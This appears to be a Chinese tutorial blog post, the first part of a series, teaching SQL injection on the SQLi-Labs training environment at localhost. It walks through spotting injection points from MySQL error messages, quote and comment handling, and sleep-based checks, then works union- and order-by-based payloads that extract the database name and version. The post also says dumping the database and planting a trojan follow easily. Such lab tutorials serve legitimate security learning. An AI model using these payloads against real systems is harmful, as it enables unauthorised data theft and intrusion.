20220101.1059: 慢慢说透sql注入(一)
#每日三件事,第1059天#
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。凡是构造SQL语句的步骤均存在被潜在攻击的风险,因为SQL的多样性和构造时使用的方法均提供了丰富的编码手段。
SQL注入的主要方式是直接将代码插入到参数中,这些参数会被置入SQL命令中加以执行。不太直接的攻击方式是将恶意代码插入到字符串中,之后再将这些字符串保存到数据库的数据表中或将其当作元数据。当将存储的字符串置入动态SQL命令中时,恶意代码就被执行。
SQL注入就是通过系统的漏洞构造新的SQL语句并执行,得到我们想要的结果。
SQL注入分为报错注入和盲注,盲注又有布尔盲注和时间盲注两种。按注入方式来讲,可以分为GET型注入和POST注入。
1. SQL注入点的判断
首先就是找到注入点,也就是可以接收我们构造的SQL语句的地方。下面以SQLi-Lab为例进行说明。
在Less-1的环境中,按照题目提示,输入:
http://localhost/Less-1/?id=1
可以得到Your Login name:Dumb,Your Password:Dumb的提示信息。
接下来通过各种特殊符号来测试此处是否有注入点,特殊符号为单引号,双引号,反斜杠等“
http://localhost/Less-1/?id=1'
http://localhost/Less-1/?id=1"
http://localhost/Less-1/?id=1\
只有单引号和反斜杠的时候有错误提示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1
从上面的错误提示中,我们可以得到如下信息:
- WEB应用后台的数据库系统是MySQL;
- 在【'1\' LIMIT 0,1】地方出现了语法错误;
由此我们可以推断,WEB应用的查询语句大致是下面这个样子:
select * from table where id='1'
我们输入的参数是1‘,带入到上面的SQL语句中就变成了:
select * from table where id ='1''
这条SQL语句多了一个单引号,或者多了一个反斜杠,自然要出错。
如果把输入变成1' or ',1' and ' 或者1' -- ,或者1' #,就会构造出新的语句:
select * from table where id =' 1' or ''
此时构造的SQL的条件为 id=1 or ‘ ’;结果为true,页面会显示id=1的信息;
select * from table where id =' 1' and ''
此时构造的SQL的条件为id=1 and ‘ ’;结果为False,页面不显示任何信息;
select * from table where id =' 1'# '
在MySQL中,#为注释符,但在url地址栏,#首先会被浏览器处理,并不会发送到后台交给数据库来处理。因此,#注释符在GET方式的注入中不能使用。
select * from table where id =' 1'-- '
MySQL的另外一种注释符号是“-- ”,注意,后面有个空格。同样,这个空格在url地址栏中输入时,同样会被浏览器首先处理,并不会发送到后台。因此,要使用url编码方式输入空格,即“--%20”或者“--+”,都可以被浏览器转译为MySQL的注释符。
现在来看看Less-4,当输入"\"时,提示的信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1
可以看到提示信息中为【 “1\") 】,也就是说,sql查询语句大致是这样:
select * from table where id="1"
通过对比Less-1和Less-4对输入"\"的错误提示信息,可以得知Less-1需要处理单引号出的变量,Less-4需要处理双引号处的变量,并且要将查询语句最后的那个单引号或者双引号进行闭合或者注释。
同样对比Less-2,不管输入单引号、双引号还是反斜杠,提示信息中均没有其他字符:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" LIMIT 0,1' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ LIMIT 0,1' at line 1
因此,对于Less-2我们可以判定这是数字型注入,而非Less-1和Less-4的字符型注入。Less-2不用考虑引号的闭合问题,因为数字型注入点没有引号。
2. 构造SQL语句
2.1 判断payload能否被执行
当我们输入【1' --+】的时候,系统还是按照原来的方式执行并给出结果。其实在在单引号后面就可以添加我们的攻击载荷了,俗称payload【1‘ payload --+】,并保证paylaod被数据库执行。
通常的做法是使用and 1=1 以及and 1=2,or 1=1 以及or 1=2等观察结果是否有所变化。由于数据库执行的时候,会把我们的payload作为true 或者false,并结合原来的语句执行后给出结果。因此,使用以or开始的paylaod并不能得的有用的信息。使用以and为首的paylaod更好一些。
当payload为and 1=1的时候,sql语句被执行后,返回的结果就是id=1的查询结果;
当payload为and 1=2的事实,sql语句被执行后,由于条件为False,不返回任何结果。由以上两点可以判断,我们的payload被传进了数据库并且执行。
比较简单判断payload是否执行,可以使用and sleep(3),并观察浏览器的结果返回时间。也可以通过F12点击网络,查看系统的响应时间。如果大于3秒,则说明payload被执行,否则就没有执行。
2.2 使用union联合查询库名
如果payload能够使用select之类的查询语句,那就就能查询到数据库的库名、表名、列名以及表的内容。脱库也是顺手牵羊的事情;如果能够将文件写入操作系统中的话,上传木马,控制系统也就不是什么难事儿了。
union联合查询时,select查询的列的数量必须得和主查询select的列保持一致。使用下面的语句探测主select查询的列的数量:
http://localhost/Less-1/?id=1' union select 1,2,3,4 --+
可以先从select 1开始,然后是select 1,2,select 1,2,3……当两个查询语句的列数不一致时,提示信息为:
The used SELECT statements have a different number of columns
列数一致时会显示查询到的信息,union 查询的结果会附在主查询结果的后面。
http://localhost/Less-1/?id=1' union select 1,2,3 --+
执行上面的结果后,没有错误信息,显示的内容还是id=1的内容,union查询的结果并没有显示出来,至少可以说明主查询的列数为3。通过 order by 也可以判断主查询的列数,payload为:order by column_name/index :
http://localhost/Less-1/?id=1' order by 5 --+
通过错误信息【Unknown column '5' in 'order clause'】可以逐步判断,当order by 3的时候,系统不再报错。同样可以说明主查询的列数为3,和union select 1,2,3 查询的结果一致。
union select会把结果和主查询的结果一起显示出来,而order by只是对某一列进行排序,并不会显示相关的结果。最重要的是,我们希望查询的结果可以在页面上显示出来。
其实回过头看看输入单引号时的错误提示信息,我们看到还有一个“LIMIT 0,1"。系统通过limit来限制输出的结果,同样我们可以在payload中加入limit来控制输出的结果:
http://localhost/Less-1/?id=1' union select 1,2,3 limit 0,1 --+
Limit [offset,] rows ,是limit的语法。由于Less-1的结果只显示一行,因此,rows设置为1,只要从0开始递增offset,就可以查看所有的查询结果。
当offset为1时,查询到的结果中会显示Your Login name:2,Your Password:3。这里的2和3就是我们union select中的2和3。在2和3位置的查询结果可以通过页面显示出来,比如用database()替换2的位置,用version()替换3的位置:
http://localhost:55001/Less-1/?id=1' union select 1,database(),version() limit 1,1 --+
我们会得到:Your Login name:security,Your Password:5.5.44-0ubuntu0.14.04.1。“security”就是database()函数执行后的结果,“5.5.44-0ubuntu0.14.04.1”就是version()函数执行后的结果。
当然,输入一个错误的函数,只要系统给错误信息,就能看到数据库的名称:
http://localhost:55001/Less-1/?id=1' and sldkjf() --+
错误信息是这样的:FUNCTION security.sldkjf does not exist。是不是就可以看到当前应用连接的数据库是security了?